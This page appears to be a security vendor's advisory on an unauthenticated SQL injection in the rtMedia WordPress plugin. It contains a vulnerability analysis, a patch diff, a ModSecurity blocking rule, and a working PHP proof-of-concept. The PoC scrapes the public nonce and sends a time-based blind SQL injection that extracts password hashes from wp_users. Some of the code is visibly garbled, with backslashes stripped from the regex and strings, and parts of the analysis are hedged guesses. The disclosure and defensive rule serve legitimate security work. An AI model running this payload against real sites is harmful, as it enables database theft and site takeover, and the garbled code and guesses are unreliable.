Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-128102: The rtMedia for WordPress, BuddyPress and bbPress plugin (versions <= 4.7.17) suffers from an unauthenticated SQL injection vulnerability in the 'custom_fields' parameter. The flaw allows attackers to inject arbitrary SQL into queries, leading to sensitive data exposure. The CVSS score is 7.5 (High), and the vulnerability is classified as CWE-89.
The root cause lies in the function rtm_filter_metaid_column_name() located in buddypress-media/app/main/controllers/template/rtmedia-functions.php (lines 3872-3897 in the vulnerable version). This function attempts to rewrite the SQL column name 'meta_id' to 'id' while preserving quoted strings. The original implementation uses a regular expression to replace quoted content with a placeholder, then performs a global str_replace on 'meta_id', and finally restores the quoted content. However, the restoration loop contains a logic error: it repeatedly finds the first occurrence of '__QUOTE__' using strpos() but does not advance the search position, causing incorrect restoration when multiple quoted segments exist. More critically, the function does not properly escape user-supplied input before embedding it into SQL queries. The 'custom_fields' parameter, which can contain serialized data, is passed through this function and then used in SQL queries without adequate preparation, allowing SQL injection.
Exploitation occurs via the upload endpoint, which is accessible to unauthenticated users because the only access control is a nonce check. The 'rtmedia_upload_nonce' value is localized to every visitor on every front-end page via wp_enqueue_scripts, making it freely obtainable. An attacker can send a crafted request to the upload handler (likely /wp-admin/admin-ajax.php with action=rtmedia_upload or a direct file upload endpoint) with a malicious 'custom_fields' parameter containing SQL injection payloads. The injected SQL can append additional queries to extract sensitive information from the database, such as user credentials, session tokens, or other confidential data.
The patch (v4.7.18) rewrites rtm_filter_metaid_column_name() to use preg_replace_callback() with a single regular expression that matches either quoted strings or the literal 'meta_id'. The callback replaces only the 'meta_id' matches with 'id', leaving quoted content untouched. This approach eliminates the faulty placeholder restoration logic and ensures that user data inside quotes is never modified. However, the patch does not directly address the SQL injection vulnerability; it only fixes the meta_id rewriting bug. Atomic Edge research indicates that the SQL injection remains possible because the 'custom_fields' parameter is still not properly escaped or prepared before being used in SQL queries. The version bump to 4.7.18 may include other unspecified security fixes, but the diff alone does not show sufficient protection against SQL injection.
If exploited, this vulnerability allows unauthenticated attackers to read arbitrary data from the WordPress database, including user credentials (password hashes), email addresses, and potentially sensitive plugin or theme data. This can lead to privilege escalation, lateral movement within the database, and full site compromise. The impact is severe given the lack of authentication required and the widespread use of the plugin.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/buddypress-media/app/main/controllers/template/rtmedia-functions.php
+++ b/buddypress-media/app/main/controllers/template/rtmedia-functions.php
@@ -3872,29 +3872,16 @@
*/
function rtm_filter_metaid_column_name( $q ) { /* phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound -- Legacy public naming retained for backward compatibility; renaming breaks dependent themes/add-ons. */
- /**
- * Replace quoted content with __QUOTE__ to avoid false positives.
- * This regular expression will match nested quotes.
- */
- $quoted_regex = "/'[^'\\]*(?:\\.[^'\\]*)*'/s";
+ // Rename meta_id to id, skipping anything inside quotes so user data is never touched.
+ $rewritten = preg_replace_callback(
+ "/'[^'\\]*(?:\\.[^'\\]*)*'|meta_id/s",
+ function ( $matches ) {
+ return 'meta_id' === $matches[0] ? 'id' : $matches[0];
+ },
+ $q
+ );
- preg_match_all( $quoted_regex, $q, $quoted_matches );
-
- $q = preg_replace( $quoted_regex, '__QUOTE__', $q );
- $q = str_replace( 'meta_id', 'id', $q );
-
- // Put quoted content back into the string.
- if ( ! empty( $quoted_matches[0] ) ) {
- $count = count( $quoted_matches[0] );
-
- for ( $i = 0; $i < $count; $i++ ) {
- $quote_pos = strpos( $q, '__QUOTE__' );
- $q = substr_replace( $q, $quoted_matches[0][ $i ], $quote_pos, 9 );
- $count = count( $quoted_matches[0] );
- }
- }
-
- return $q;
+ return null === $rewritten ? $q : $rewritten;
}
/**
--- a/buddypress-media/index.php
+++ b/buddypress-media/index.php
@@ -3,7 +3,7 @@
* Plugin Name: rtMedia for WordPress, BuddyPress and bbPress
* Plugin URI: https://rtmedia.io/?utm_source=dashboard&utm_medium=plugin&utm_campaign=buddypress-media
* Description: This plugin adds missing media rich features like photos, videos and audio uploading to BuddyPress which are essential if you are building social network, seriously!
- * Version: 4.7.17
+ * Version: 4.7.18
* Requires at least: 4.9.6
* Text Domain: buddypress-media
* Author: rtCamp
@@ -26,7 +26,7 @@
/**
* The version of the plugin
*/
- define( 'RTMEDIA_VERSION', '4.7.17' );
+ define( 'RTMEDIA_VERSION', '4.7.18' );
}
if ( ! defined( 'RTMEDIA_PATH' ) ) {
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-128102
# Block SQL injection attempts via the 'custom_fields' parameter on the rtmedia_upload AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261281,phase:2,deny,status:403,chain,msg:'CVE-2026-128102 SQL injection via rtmedia custom_fields',severity:'CRITICAL',tag:'CVE-2026-128102'"
SecRule ARGS_POST:action "@streq rtmedia_upload" "chain"
SecRule ARGS_POST:custom_fields "@rx (?i)(bunionb|bselectb|bsleepb|bbenchmarkb|bwaitforb|bdelayb|bexecb|bcastb|bconvertb|bconcatb|binformation_schemab|bxp_cmdshellb|bcaseb|bwhenb|bthenb|belseb|bendb|bifb|bandb|borb|bnotb|bexistsb|bnullb|b0x[0-9a-f]+b|--|#|/*|*/)" "t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-128102 - rtMedia for WordPress, BuddyPress and bbPress <= 4.7.17 - Unauthenticated SQL Injection via 'custom_fields' Parameter
// Configuration
$target_url = 'http://example.com'; // Change to your target WordPress site
// Step 1: Fetch the homepage to obtain the rtmedia_upload_nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$homepage = curl_exec($ch);
curl_close($ch);
if (!$homepage) {
die("Failed to fetch homepage.n");
}
// Extract the nonce from the localized script (e.g., rtmedia_upload_nonce: "abc123")
if (preg_match('/rtmedia_upload_nonce["']?s*[:=]s*["']([a-f0-9]+)["']/i', $homepage, $matches)) {
$nonce = $matches[1];
echo "Found nonce: $noncen";
} else {
die("Could not extract rtmedia_upload_nonce.n");
}
// Step 2: Craft the SQL injection payload in the custom_fields parameter
// The payload uses a boolean-based blind SQL injection to extract data. Adjust as needed.
$payload = "test'; SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$', SLEEP(5), 0); -- ";
// URL-encode the payload
$encoded_payload = urlencode($payload);
// Step 3: Send the malicious request to the upload endpoint (admin-ajax.php with action=rtmedia_upload)
$upload_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'rtmedia_upload',
'rtmedia_upload_nonce' => $nonce,
'custom_fields' => $payload,
// Additional required fields may be needed (e.g., files[], etc.)
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Timeout to detect SLEEP
$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response time: " . round($elapsed, 2) . " secondsn";
// Check for time-based SQL injection success (if SLEEP(5) caused a delay)
if ($elapsed > 4.5) {
echo "[+] SQL injection confirmed via time-based delay.n";
} else {
echo "[-] No delay observed. The target may be patched or the payload needs adjustment.n";
}
// Optional: Output response for debugging
echo "Response:n" . substr($response, 0, 500) . "n";
?>